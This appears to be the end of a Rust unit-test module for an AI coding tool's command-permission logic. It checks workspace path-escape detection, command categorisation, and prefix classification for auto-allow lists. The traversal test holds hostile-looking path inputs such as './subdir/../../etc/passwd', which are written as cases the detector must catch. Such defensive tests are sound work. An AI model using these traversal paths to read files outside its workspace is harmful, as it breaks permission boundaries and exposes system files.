1065 "./dir..name/file.txt",
1066 "/home/user/project"
1067 ));
1068 }
1069
1070 #[test]
1071 fn test_path_escapes_workspace_detects_genuine_traversal() {
1072 assert!(path_escapes_workspace("../outside", "/home/user/project"));
1073 assert!(path_escapes_workspace(
1074 "..\\outside",
1075 "C:\\Users\\me\\project"
1076 ));
1077 assert!(path_escapes_workspace(
1078 "./subdir/../../etc/passwd",
1079 "/home/user/project"
1080 ));
1081 assert!(path_escapes_workspace(
1082 "/home/user/project/../secret",
1083 "/home/user/project"
1084 ));
1085 assert!(path_escapes_workspace(
1086 "C:\\Users\\me\\project\\..\\secret",
1087 "C:\\Users\\me\\project"
1088 ));
1089 }
1090
1091 #[test]
1092 fn test_path_escapes_workspace_allows_absolute_workspace_children() {
1093 assert!(!path_escapes_workspace(
1094 "/home/user/project/src/main.rs",
1095 "/home/user/project"
1096 ));
1097 assert!(!path_escapes_workspace(
1098 "C:\\Users\\me\\project\\src\\main.rs",
1099 "C:\\Users\\me\\project"
1100 ));
1101 }
1102
1103 #[test]
1104 fn test_extract_primary_command() {
1105 assert_eq!(extract_primary_command("ls -la"), Some("ls"));
1106 assert_eq!(
1107 extract_primary_command("env FOO=bar cargo build"),
1108 Some("cargo")
1109 );
1110 assert_eq!(extract_primary_command(" git status "), Some("git"));
1111 }
1112
1113 #[test]
1114 fn test_categorize_command() {
1115 assert_eq!(categorize_command("ls -la"), CommandCategory::FileSystem);
1116 assert_eq!(
1117 categorize_command("curl https://example.com"),
1118 CommandCategory::Network
1119 );
1120 assert_eq!(categorize_command("git status"), CommandCategory::Git);
1121 assert_eq!(categorize_command("npm install"), CommandCategory::Package);
1122 assert_eq!(
1123 categorize_command("sudo apt update"),
1124 CommandCategory::System
1125 );
1126 }
1127
1128 // ── classify_command tests ────────────────────────────────────────────────
1129
1130 /// Helper: split a string on whitespace into a `Vec<&str>` and call
1131 /// `classify_command`.
1132 fn classify(s: &str) -> String {
1133 let tokens: Vec<&str> = s.split_whitespace().collect();
1134 classify_command(&tokens)
1135 }
1136
1137 // ── git (arity 2 each) ────────────────────────────────────────────────────
1138
1139 #[test]
1140 fn classify_git_status_bare() {
1141 assert_eq!(classify("git status"), "git status");
1142 }
1143
1144 #[test]
1145 fn classify_git_status_with_short_flag() {
1146 assert_eq!(classify("git status -s"), "git status");
1147 }
1148
1149 #[test]
1150 fn classify_git_status_with_long_flag() {
1151 assert_eq!(classify("git status --porcelain"), "git status");
1152 }
1153
1154 #[test]
1155 fn classify_git_push_does_not_equal_git_status() {
1156 assert_ne!(classify("git push origin main"), "git status");
1157 }
1158
1159 #[test]
1160 fn classify_git_push() {
1161 assert_eq!(classify("git push origin main"), "git push");
1162 }
1163
1164 #[test]
1165 fn classify_git_push_force() {
1166 // --force is a flag, so it is stripped; prefix is still "git push"
1167 assert_eq!(classify("git push --force"), "git push");
1168 }
1169
1170 #[test]
1171 fn classify_git_log_with_flags() {
1172 assert_eq!(classify("git log --oneline --graph"), "git log");
1173 }
1174
1175 #[test]
1176 fn classify_git_diff() {
1177 assert_eq!(classify("git diff HEAD~1"), "git diff");
1178 }
1179
1180 #[test]
1181 fn classify_git_checkout() {
1182 assert_eq!(classify("git checkout main"), "git checkout");
1183 }
1184
1185 #[test]
1186 fn classify_git_commit() {
1187 assert_eq!(classify("git commit -m 'fix'"), "git commit");
1188 }
1189
1190 #[test]
1191 fn classify_git_stash() {
1192 assert_eq!(classify("git stash"), "git stash");
1193 }
1194
1195 #[test]
1196 fn classify_git_rebase() {
1197 assert_eq!(classify("git rebase -i HEAD~3"), "git rebase");
1198 }
1199
1200 // ── cargo (arity 2 each) ─────────────────────────────────────────────────
1201
1202 #[test]
1203 fn classify_cargo_check_bare() {
1204 assert_eq!(classify("cargo check"), "cargo check");
1205 }
1206
1207 #[test]
1208 fn classify_cargo_check_with_flag() {
1209 assert_eq!(classify("cargo check --workspace"), "cargo check");
1210 }
1211
1212 #[test]
1213 fn classify_cargo_build() {
1214 assert_eq!(classify("cargo build --release"), "cargo build");
1215 }
1216
1217 #[test]
1218 fn classify_cargo_test() {
1219 assert_eq!(classify("cargo test --locked"), "cargo test");
1220 }
1221
1222 #[test]
1223 fn classify_cargo_clippy() {
1224 assert_eq!(classify("cargo clippy --all-targets"), "cargo clippy");
1225 }
1226
1227 #[test]
1228 fn classify_cargo_fmt() {
1229 assert_eq!(classify("cargo fmt --all"), "cargo fmt");
1230 }
1231
1232 // ── npm ──────────────────────────────────────────────────────────────────
1233
1234 #[test]
1235 fn classify_npm_run_dev_arity_3() {
1236 // "npm run" has arity 3: base="npm", sub="run", script="dev"
1237 assert_eq!(classify("npm run dev"), "npm run dev");
1238 }
1239
1240 #[test]
1241 fn classify_npm_run_build_arity_3() {
1242 assert_eq!(classify("npm run build"), "npm run build");
1243 }
1244
1245 #[test]
1246 fn classify_npm_install() {
1247 assert_eq!(classify("npm install"), "npm install");
1248 }
1249
1250 #[test]
1251 fn classify_npm_test() {
1252 assert_eq!(classify("npm test"), "npm test");
1253 }
1254
1255 // ── docker ───────────────────────────────────────────────────────────────
1256
1257 #[test]
1258 fn classify_docker_compose_up_arity_3() {
1259 assert_eq!(classify("docker compose up"), "docker compose up");
1260 }
1261
1262 #[test]
1263 fn classify_docker_compose_down_arity_3() {
1264 assert_eq!(classify("docker compose down"), "docker compose down");
1265 }
1266
1267 #[test]
1268 fn classify_docker_build() {
1269 assert_eq!(classify("docker build -t myapp ."), "docker build");
1270 }
1271
1272 #[test]
1273 fn classify_docker_ps() {
1274 assert_eq!(classify("docker ps -a"), "docker ps");
1275 }
1276
1277 #[test]
1278 fn classify_docker_run() {
1279 assert_eq!(classify("docker run --rm ubuntu"), "docker run");
1280 }
1281
1282 // ── kubectl ──────────────────────────────────────────────────────────────
1283
1284 #[test]
1285 fn classify_kubectl_get_pods() {
1286 // arity 3: "kubectl get pods"
1287 assert_eq!(classify("kubectl get pods"), "kubectl get pods");
1288 }
1289
1290 #[test]
1291 fn classify_kubectl_apply() {
1292 assert_eq!(classify("kubectl apply -f manifest.yaml"), "kubectl apply");
1293 }
1294
1295 #[test]
1296 fn classify_kubectl_logs() {
1297 assert_eq!(classify("kubectl logs my-pod"), "kubectl logs");
1298 }
1299
1300 // ── go ───────────────────────────────────────────────────────────────────
1301
1302 #[test]
1303 fn classify_go_build() {
1304 assert_eq!(classify("go build ./..."), "go build");
1305 }
1306
1307 #[test]
1308 fn classify_go_test() {
1309 assert_eq!(classify("go test ./..."), "go test");
1310 }
1311
1312 #[test]
1313 fn classify_go_mod_tidy() {
1314 // arity 3: "go mod tidy"
1315 assert_eq!(classify("go mod tidy"), "go mod tidy");
1316 }
1317
1318 // ── pip ──────────────────────────────────────────────────────────────────
1319
1320 #[test]
1321 fn classify_pip_install() {
1322 assert_eq!(classify("pip install requests"), "pip install");
1323 }
1324
1325 #[test]
1326 fn classify_pip_list() {
1327 assert_eq!(classify("pip list --outdated"), "pip list");
1328 }
1329
1330 // ── unknown commands fall back to single-word prefix ──────────────────────
1331
1332 #[test]
1333 fn classify_unknown_single_word() {
1334 assert_eq!(classify("ls"), "ls");
1335 }
1336
1337 #[test]
1338 fn classify_unknown_with_flags() {
1339 // "ls" is not in the dict with an arity entry; falls back to base word
1340 assert_eq!(classify("ls -la"), "ls");
1341 }
1342
1343 #[test]
1344 fn classify_empty_gives_empty() {
1345 assert_eq!(classify_command(&[]), "");
1346 }
1347
1348 // ── auto_allow semantics ──────────────────────────────────────────────────
1349
1350 /// Core requirement from the issue: `auto_allow = ["git status"]` must match
1351 /// `git status -s` and `git status --porcelain` but NOT `git push`.
1352 #[test]
1353 fn auto_allow_git_status_matches_variants() {
1354 let allow_list = ["git status"];
1355 // These should all match the "git status" prefix.
1356 let approved_commands = [
1357 "git status",
1358 "git status -s",
1359 "git status --porcelain",
1360 "git status --short --branch",
1361 ];
1362 for cmd in &approved_commands {
1363 let tokens: Vec<&str> = cmd.split_whitespace().collect();
1364 let prefix = classify_command(&tokens);
1365 assert!(
1366 allow_list.contains(&prefix.as_str()),
1367 "Expected 'git status' to match command '{cmd}', got prefix '{prefix}'"
1368 );
1369 }
1370 }
1371
1372 #[test]
1373 fn auto_allow_git_status_does_not_match_push_or_checkout() {
1374 let allow_list = ["git status"];
1375 let denied_commands = ["git push", "git push origin main", "git checkout main"];
1376 for cmd in &denied_commands {
1377 let tokens: Vec<&str> = cmd.split_whitespace().collect();
1378 let prefix = classify_command(&tokens);
1379 assert!(
1380 !allow_list.contains(&prefix.as_str()),
1381 "Expected 'git push'/'git checkout' NOT to match 'git status' allow_list, but got prefix '{prefix}' for '{cmd}'"
1382 );
1383 }
1384 }
1385 }
1386
1386 lines RUST